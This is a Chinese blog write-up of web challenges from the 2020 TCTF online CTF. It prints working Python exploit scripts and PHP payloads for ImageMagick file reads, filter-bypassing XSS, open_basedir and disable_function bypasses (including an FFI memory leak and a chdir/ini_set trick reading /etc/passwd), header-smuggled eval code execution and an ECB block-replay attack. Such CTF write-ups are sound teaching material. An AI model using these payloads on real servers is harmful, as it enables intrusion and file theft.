sky's blog

2020 TCTF Online Web WriteUp

字数统计: 2,498阅读时长: 11 min
2020/06/27 Share

前言

TCTF是国内高质量比赛之一,这次周末参加了一下,以下是Web题解。

Wechat Generator

题目界面大致如下:

我们拥有preview和share两个功能:


一个是预览我们生成的微信对话图,一个是将其分享。
在尝试访问分享图片时,发现如下路径:

在随手测试的时候,发现如果乱改后缀,例如将png改为txt,会出现如下的报错信息:

1
{"error": "Convert exception: unable to open image `previews/5fac1098-72ab-4b28-b111-465aceb0e7ec.txt': No such file or directory @ error/blob.c/OpenBlob/2874"}

那么大概可以猜测到题目可能是ImageMagick,同时测试过程中,我们发现:

如果将后缀改为htm,是可以正常转换的,那么此时可以看到我们输入的message:


那么这里尝试进行闭合,发现可以引入标签:

1
data=[{"type":0,"message":"[aaaa\"/><image src=xxxx/>]"}]


但是存在过滤,src被过滤了,那这里先考虑读文件,我们可以利用png后缀,将文件内容转为图片带出:

得到如下反馈:

那么尝试寻找web文件路径,想读/proc/self/下的文件,但发现proc也被过滤,这里尝试双写绕过:

发现可以成功进行bypass:

在/app目录下可以读取app.py的内容,发现如下路由:

1
http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

访问后,发现需要进行xss,触发alert(1)即可:

但这里存在csp:

1
img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

最初想利用如下形式来进行攻击:

1
<script src=xxx.js>

但src被过滤:


这里同样使用双写来进行bypass:


但发现难以找到可控的js文件,于是考虑到其他方法,可使用meta标签进行跳转:

并使用htm后缀,将路径发给管理员即可触发alert,获取flag.

easy php

题目给了如下代码:

1
2
3
4
5
6
 <?php
if (isset($_GET['rh'])) {
eval($_GET['rh']);
} else {
show_source(__FILE__);
}

估摸可能又是bypass open_basedir disable_function一类的题目,首先看一下phpinfo():

1
http://pwnable.org:19260/?rh=phpinfo();

发现目标是php 7.4.5,同时Server API为FPM/FastCGI:

disable_function如下:

1
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir如下:

首先尝试disable_function,由于目录不可写,所以选择使用如下方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}

$it = new DirectoryIterator("glob:///.*");
foreach ($it as $f){
$file_list[] = $f->__toString();
}
sort($file_list);
foreach ($file_list as $f){
echo "{$f}<br/>";
}

发现可以成功列目录:

得到flag.h和flag.so文件名。
由于题目的部署不慎,导致open_basedir经常被置空(所以出现了revenge,正规解法在下一道题里讲),所以出现了下述操作:

可以直接读文件……发现flag.h中定义了获取flag的c函数,那么想到php 7.4可使用FFI调用c函数,于是查看phpinfo():

于是使用如下方法获取flag:

noeasyphp

出题人心有不甘,又出了一道revenge,这次php版本升级到7.4.7,同时更换了Server API:

并且大量增加了disable_function:

但open_basedir没有变:

我们依旧可以bypass open_basedir进行列目录:

发现flag.h和flag.so文件依旧存在,同时FFI依旧开启,那么尝试load flag.h:

但此时尴尬的点来了,我们不知道c的函数名是什么,因此无法直接调用。同时在使用FFI::cdef时,一直不能正常调用,于是这里我们使用如下操作,可以看到FFI的报错提示:

这里发现cdef被过滤了……那么考虑有没有其他办法可以获取到函数名,查阅FFI官方文档:

发现FFI存在不少和内存相关的函数,这里考虑能不能进行内存泄露,获取函数名,编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);

$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);

$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);

//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))


即可获取函数名如下:

1
$a = $ffi->flag_wAt3_uP_apA3H1();

使用和上题一样的操作即可获取flag:

lottery

题目到手后,界面如下:

简单通过burp抓包分析,发现题目存在5个功能:

1
2
3
4
5
register 
login
buy
info
charge

同时注意到获取flag的条件:

我们必须获得99以上的coin,才可以获取flag,那么分析题目功能,这里主要看buy,info和charge:

buy可以利用api_token获取一串密文。
info可以对密文进行解密,并返回明文:

charge是用来换coin的:

我们尝试篡改所有非enc内容,发现都很难奏效,那么势必需要分析出enc的加密方式,这里从密文切入,我们随便生成了6组密文:

1
2
3
4
5
6
7
8
9
10
11
/SWC1fWyzgVB4GQkV9XAhFbRJVd+p/0seSjoHNvocAMMJxydIoMiQkoRPvzu98o0B1gJ7iyGVtg0ZCyvrM9HYw+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXurpYiVthCJdtAYiOSwB4XPbSt9reYD8AcCI4hIXsxZg=

rky9zMwv9ftXrXfBaPh7e6UYO7mh07PV2CGIHMdPt0PmSSV7gVgsy7RyEC/CfvudCQTrOEmVHvtxgyNJHv51/A+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXTyQDabwRxFj0q8X5b5KhU/bSt9reYD8AcCI4hIXsxZg=

RNeqoksqjZqjs30IlB4JPdPNAigCO2PyXiMbl5HspoRDE+yuEDln7P1M85J6FO9NQq+BWyMVgZ913nLGyJL3aQ+Ig5CALRM+/et8BL40J0gG42ZsIT3cEPN7J80q5tSXsiwQ3/LQeSbYE2JiMXSKC/bSt9reYD8AcCI4hIXsxZg=

8FSnwPc+/cDtsUaIiZYJtAl0QFY5GvPH3AnPSjTmF3MF22QlJ+AohnvnHQCXjh9sffSrlmAlwaJD0ytGNsbH0UWc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YbXP4fOmiPYshqVzTh05fWPbSt9reYD8AcCI4hIXsxZg=

yF+uCwdBx7pB2t0Afq2kccm9na5y/7Nezs5Lm3IqoD+PdHJ4SFqLIY4vouanlmqSLxxDwv3vmBZJGNYrfOCIZ0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YzeNJt8hFlylgxZwJckYUn/bSt9reYD8AcCI4hIXsxZg=

fBGgss1SrFRgKkYGFiYiw5VlpPmTWu6eCcq42TkBUzwIYP5cNLYr/4R2hd6it4yuVU4yzKKC3PGops+sK2X4U0Wc4v+ma98DhQBGaRw2sQ5RwrnRb3rjBmEpJd/MA33YavP2eHwOKE3g3bE6AMid3/bSt9reYD8AcCI4hIXsxZg=

发现每组密文的结尾均为一致,这里我猜想其为分组密码,那么我们尝试将其转回16进制:

1
2
3
4
5
6
7
8
9
10
11
fd2582d5f5b2ce0541e0642457d5c08456d125577ea7fd2c7928e81cdbe870030c271c9d228322424a113efceef7ca34075809ee2c8656d834642cafaccf47630f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497baba58895b6108976d01888e4b00785cf6d2b7dade603f007022388485ecc598

ae4cbdcccc2ff5fb57ad77c168f87b7ba5183bb9a1d3b3d5d821881cc74fb743e649257b81582ccbb472102fc27efb9d0904eb3849951efb718323491efe75fc0f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d4974f240369bc11c458f4abc5f96f92a153f6d2b7dade603f007022388485ecc598

44d7aaa24b2a8d9aa3b37d08941e093dd3cd0228023b63f25e231b9791eca6844313ecae103967ecfd4cf3927a14ef4d42af815b2315819f75de72c6c892f7690f888390802d133efdeb7c04be34274806e3666c213ddc10f37b27cd2ae6d497b22c10dff2d07926d813626231748a0bf6d2b7dade603f007022388485ecc598

f054a7c0f73efdc0edb14688899609b409744056391af3c7dc09cf4a34e6177305db642527e028867be71d00978e1f6c7df4ab966025c1a243d32b4636c6c7d1459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86d73f87ce9a23d8b21a95cd3874e5f58f6d2b7dade603f007022388485ecc598

c85fae0b0741c7ba41dadd007eada471c9bd9dae72ffb35ecece4b9b722aa03f8f747278485a8b218e2fa2e6a7966a922f1c43c2fdef98164918d62b7ce08867459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd8cde349b7c845972960c59c097246149ff6d2b7dade603f007022388485ecc598

7c11a0b2cd52ac54602a4606162622c39565a4f9935aee9e09cab8d93901533c0860fe5c34b62bff847685dea2b78cae554e32cca282dcf1a8a6cfac2b65f853459ce2ffa66bdf03850046691c36b10e51c2b9d16f7ae306612925dfcc037dd86af3f6787c0e284de0ddb13a00c89ddff6d2b7dade603f007022388485ecc598

我们发现最后32位均为:f6d2b7dade603f007022388485ecc598,同时总密文长度为256位,此时我们可以猜测最后32位应该均为padding,但这里显然不会考虑密钥爆破,因为32位的密钥太长了,爆出的可能性很小。于是思考分组模式是否可以进行攻击。
这里应该不能猜出,目标可能为ECB分组模式,那么ECB分组模式最普遍的攻击方式,应该为重放攻击,于是我进行了简单测试:

1
2
3
4
5
6
7
3IaNFxJN+bro2idMLAmEvfYVkwGwkppb0Habd7fzO/JCJVTGfwx79N1umkYZpaU/MfoZHWsrrGaAoh0dmBELAfXqF7CTC0Sp/DVHj+ZJgPB9CD7dIHyWREM90xDqs0/SeVuO+vBtvpqOZ7buX0T+EfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

t5hNjbXQNdB1FXRhYoKNHSf62OmHHTGzGoqg+zpDLyPdFEGv8zHzC6WOx7QRZPMCwX9QzuxSrhCREeG0jwYMhDWzxRAezgH19V2Foc61/clsY01/dMF/DB1sdEiui01xcZOk9sdgo9pVS5mRplHyhfbSt9reYD8AcCI4hIXsxZg=

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

我们对如上明密文对进行攻击,想将用户1的lottery替换为用户2的,如此即可扣用户2的lottery,来增加用户1的coin:

1
2
3
4
5
6
7
8
9
10
11
32
{"info":{"lottery":"a3382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

64
{"info":{"lottery":"a36f22c1-c351-4421-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

96
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da7fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

128
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}


我尝试对用户1的密文分组进行逐一替换,当替换128位后,发现我们可以将用户1的lottery替换成用户2的,但是此时user前2位值也会变为用户2的,那么这里即考虑,注册多个user前2位相同的用户,再用ECB重放攻击进行刷钱:

1
2
3
{"info":{"lottery":"49382695-2b68-4666-8fda-b775edfe52fd","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2ec978ed-fc05-4aad-9cd6-da41b1afcb9b","coin":3}}

对于如上info的2个用户,我们就可以将用户1的lottery替换为用户2的,因为其user开头2位都是2e:
移花接木后,我们可以得到如下info的密文:

1
{"info":{"lottery":"a36f22c1-c351-4421-a3bf-ec8ed90da70c","user":"2e2dd369-e9a8-4e62-9dac-76fe75353f89","coin":9}}

尝试进行charge:

发现可以成功charge,重复多次操作,即可增加我们的coin,获取flag:

Cloud Computing

这是Misc里的一道题,本不应该出现在此,但因为其考察点为web open_basedir bypass(其实是非预期了),所以在这里记录了一下,题目同样是给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);

include 'function.php';

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
if (waf($data)) {
die('waf sucks...');
}
file_put_contents("$dir" . "index.php", $data);
case 'shell':
initShellEnv($dir);
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

同时发现题目运行在php7.4.7:

测试过程中发现,我们input的data被过滤了引号,下划线等字符,这让我们执行代码非常不便,同时phpinfo都被过滤了,于是这里考虑使用无参数函数RCE的方式,我们利用eval(end(getallheaders()))的方式进行偷梁换柱,在http header注入我们想执行的phpcode,以此达成bypass waf的目的:

但是依旧无法使用phpinfo等函数,怀疑是被disable_function给禁了,这里开启报错,来一探究竟:

同时发现我们受限于open basedir:

但是发现sandbox可以任意创建文件,于是想到可以使用chdir来bypass openbasedir:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import urllib

url = 'http://pwnable.org:47780/?action=upload&data=%s'

data = "<?=eval(end(getallheaders()));?>"

php_code = r'''error_reporting(3);chdir('/var/www/html/sandbox/53c1fd9bc66d9601edeaa6ec8c52aa38fb6721be/A');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/etc/passwd');'''

headers = {
'a':php_code
}

dir_url = 'http://pwnable.org:47780/?action=pwd'

first_url = url % data
second_url = "http://pwnable.org:47780/?action=shell"

r = requests.get(url=dir_url)
print r.content

r = requests.get(url=first_url,headers=headers)
print urllib.quote(data)
print r.content

r = requests.get(url=second_url,headers=headers)

print r.content

发现可以成功bypass oepn_basedir,读取/etc/passwd:

那么读取根目录的flag文件即可。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. Wechat Generator
  3. 3. easy php
  4. 4. noeasyphp
  5. 5. lottery
  6. 6. Cloud Computing